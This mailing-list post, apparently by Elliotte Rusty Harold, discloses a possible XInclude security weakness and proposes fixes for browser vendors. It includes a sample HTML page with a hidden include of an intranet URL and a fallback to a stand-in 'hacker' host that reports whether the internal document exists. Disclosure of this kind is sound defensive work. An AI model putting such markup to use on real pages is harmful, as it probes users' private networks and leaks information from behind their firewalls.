← Prev in month
← Prev in thread
XInclude: security risk 1
Consider the following document: <html xmlns:xi="http://www.w3.org/2001/XInclude"> <body> Here's what the user normally sees </body> <span style="display: none"> <xi:include parse="text" href="http://www.behindthefirewall.com/someURL"> <xi:fallback href="http://www.hacker.com/?someURL=doesNotExist"> </xi:fallback> </xi:include> </span> <html> Once a local user has loaded this into a web browser from behind the firewall, the original host site or some other remote site can easily determine whether some document exists on some server that would not normally be accessible to it. This scheme is not perfectly reliable. The biggest problem is that the attacker must have some good guesses as to likely local URLs, and also some reason to want to know them; but it seems to have the potential to expose information from behind the firewall that the user might not wish exposed. How bad is this? Does this do anything a hacker can't do with IMG tags or external entity references now? I do think this is worse than those cases because fallbacks let the result of the load be communicated back to the original host (or a different one). The remote host can determine whether or not the request succeeded based on whether or not the fallback is requested. Combined with JavaScript and DHTML, this attack could become a lot more effective. If the browser exposes the post-include DOM to any such technology, then this would allow the remote site to gather information from normally restricted pages on the Intranet. I'm not sure how plausible that is. The comments of some JavaScript experts would be helpful. Java normally does not allow applets to load URLs other than the applet host for precisely this reason. However, if the data from those URLs could be loaded into the local page by some other mechanism, and then Java or JavaScript could get access to them, this would punch a huge hole in the firewall. Partly this depends on browser security models. However, I suspect it's at least bad enough that browser vendors and other XInclude users should be made aware of the issues, and perhaps not XInclude by default; or perhaps it would be enough just not to fallback. Or perhaps not make the post-inclusion DOM available through scripting. Or limit the URLs included to ones from the same host as the base page came from. Thoughts? -- +-----------------------+------------------------+-------------------+ | Elliotte Rusty Harold | | Writer/Programmer | +-----------------------+------------------------+-------------------+ | XML in a Nutshell, 2nd Edition (O'Reilly, 2002) | | http://www.cafeconleche.org/books/xian2/ | | http://www.amazon.com/exec/obidos/ISBN%3D0596002920/cafeaulaitA/ | +----------------------------------+---------------------------------+ | Read Cafe au Lait for Java News: http://www.cafeaulait.org/ | | Read Cafe con Leche for XML News: http://www.cafeconleche.org/ | +----------------------------------+---------------------------------+
← Prev in month
← Prev in thread